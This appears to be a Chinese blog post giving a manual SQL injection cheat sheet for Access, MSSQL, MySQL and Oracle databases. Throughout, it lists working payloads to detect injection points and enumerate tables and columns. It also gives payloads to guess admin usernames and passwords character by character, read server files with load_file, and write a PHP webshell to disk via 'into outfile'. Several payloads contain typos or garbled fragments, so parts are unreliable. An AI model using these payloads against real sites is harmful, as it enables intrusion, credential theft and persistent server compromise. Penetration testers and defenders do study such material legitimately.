MySQL与oracle报错显示_access、mssql、mysql、oracle数据库手工注入

Access注入:

*.mdb形式

判断注入点:

1.    '号出现报错(页面显示不完整) ——容错性能

2.    and 1=1 与的意思,1=1属于正常,插入后返回正常为存在注入;and 1=2同理插入不正确为存在注入

3.    or 1=1 或or 1=2

4.    and 1=12(id=-1)任何都会报错,不报错为存在注入

判断数据库类型

and exists (select * from msysobjects) >0返回无数据权限等错误及不报错为access数据库

and exists (select * from sysobjects)>0  判断sql server

判断数据表

and exists (select * from user)无报错说明存在admin表

判断字段

and exists (select admin from user)无报错说明存在admin表中的admin字段

判断字段长度

order by 10报错为不存在,不报错为存在

(id=-1)union select 1,2,3,4,5,6,7,8,9 from user会出现数字报错,例如出现3,5,可对3,和5上面输入username和password进行曝出用户名和密码

判断用户名密码长度

and (select len(username) from user)=5如果返回正常说明管理员账号的长度为5(大于小于同理)

and (select len(password) from user)=5如果返回正常说明管理员密码的长度为5(大于小于同理)

猜解管理员账号的第一个数据

判断ascii码判断

and (select top 1 asc(min(username,1,1)) from user)>100返回正常说明大于100,不正常说明不大于

and (select top 1 asc(min(username,1,1)) from user)>50返回正常说明大于50

and (select top 1 asc(min(username,1,1)) from user)=65返回正常说明等于65,则用户名的第一个ascii码为65

以此类推

猜解管理员账号的第二个数据

and (select top 1 asc(min(username,2,1)) from user)>100返回正常说明大于100,不正常说明不大于

猜解账号密码的第一个数据

and (select top 1 asc(min(password,1,1))from user)>100返回正常说明大于100,不正常说明不大于

偏移注入(猜解到表明,猜解不到列名)

用*号从最后一个字段数向前逐个删除来代替,知道显示正常为止,*代表了所有user表的字段

union select 1,2,3,4,5,* from user

偏移注入计算公式(研究学习)

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案x(以x=4为例)

union select 1,2,3,4,a.id,b.id,* from (useras a inner join useras b on a.id = b.id)

第二种方法

1、 后台登录文件源码表单里面的参数值

2、看网站地址链接上的规则

3、 是否判断出对方使用的cms程序

Mssql注入(sqlserver)

端口1433,服务:sql server…

性能各方面比acess更好一点

xxx.mdf(后缀格式.mdf)

Mssql数据库权限

sa权限(数据库管理员权限):数据库操作,文件管理,命令执行,注册表读取等system

db权限(dbo权限):文件管理,数据库操作等users-administrators

public权限:数据库操作guest-users

注入语句

判断是否存在注入(方法一样)

and 1=1    and1=2

初步判断是否是mssql

and use>0

判断数据库系统

and (select count(*) from sysobject) > 0mssql

and (select count(*) from msysobject) >0 access

方法一:

判断数据库版本

and 1=(select @@version)

判断当前使用的数据库

and 1=(select db_name())

判断第一个用户数据库

and 1=( select top 1 name frommaster..sysdatabases where dbid>4)

判断下一个用户数据库

and 1=( select top 1 name from

master..sysdatabases where dbid>4 and name<> ‘第一个数据库名’)

以此类推获取其他数据库(后面继续跟and name <>xxx)

获取表名

判断第一张表admin

and 1=(select top 1 name from sysobjects where xtype=’u’)

判断第二张表

and 1=(select top 1 name from sysobjects where xtype=’u’ and name <> ‘admin’)

依次类推

获取表(user)的列名

获取第一个列名(username)

and 1=(select top 1 name from syscolumnswhere id =(select id from sysobjects where name = ‘user’))

判断第二列列名(password)

and 1=(select top 1 name from syscolumnswhere id =(select id from sysobjects where name = ‘user’) and name <>‘uname’)

获取表user中的数据

判断第一个用户名/密码等

and 1=(select top 1 username/password fromuser)

方法二:

判断表名

And (select Count(*) from [表名]) > 0

判断字段

and (select Count(字段名) from 表名) > 0

判断字段长度

and (select top 1 len(字段名) from 表名) > 0

判断字段的ascii值

and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0

Mysql注入

判断注入

and 1=1 返回正常

and 1=2返回不正常  存在注入点

判断字段长度

order by xx

order by x3 正常order by x4 不正常 说明长度为x3

规定字段内报错

已知字段长度为10,则通过报错信息曝出可用的字段

id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10 from infoemation.schema.tables曝出3,5两个字符,在3,和5两个字符替换我们需要的信息语句

database():数据库名

version():数据库版本

user():数据库用户

@@version_compile_os:操作系统

group_concat(tables_name)数据表名 (union查询最后+from information_schema.tables

where tables_schema=(数据库名的16进制))

group_concat(column_name)数据表列名 (union查询最后+from information_schema.tables

where tables_name=(数据表名的16进制))

group_concat(username,0x5c,password)数据(union查询最后+from (数据表名))

mysql4.0和5.0存在差别,不能用上述的方法进行进行曝(无information_schema.tables该数据表)。

读取原文件load_fiel()(通过绝对路径D:\\www\html\mysql\inc\sql.php)

and 1=2 union select 1,load_file(‘D:\\www\html\mysql\inc\sql.php’),3,4,5,6,7

and 1=2 union select 1,load_file(绝对路径的16进制),3,4,5,6,7

写入一句话马

and 1=2 union select 1,”

?>”,3,4,5,6,7 into outfile ‘绝对路径/1.php’

Oracle注入

判断是否存在注入

and 1=1   返回正常 and 1=2    返回错误 可判断出存在注入

判断是否存在xxx表(以user为例)

and (select count(*) from user) <>0  报错说明不存在user表,未报错说明存在user表

判断是否存在xx列名

and (select count(xx) from user) <>0 报错说明不存在xx列,不报错说明存在xx列

利用ASCII码折半法猜解管理员账号和密码

(第一个数据(用户名或密码)的长度大于等于5)

and (select count(*) from user wherelength(name)>=5)=1

ascii码长度进行判断(ascii第一个字母对应的数字大小)具体ascii值

and (select count(*) from user where ascii(substr(username/password,1,1))>=10)=1(第一个ascii码)

and (select count(*) from user where ascii(substr(username/password,2,1))>=10)=1(第二个ascii码)

因时间关系,所以粗略总结到这,随后如果有时间整理会在和大家分享。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值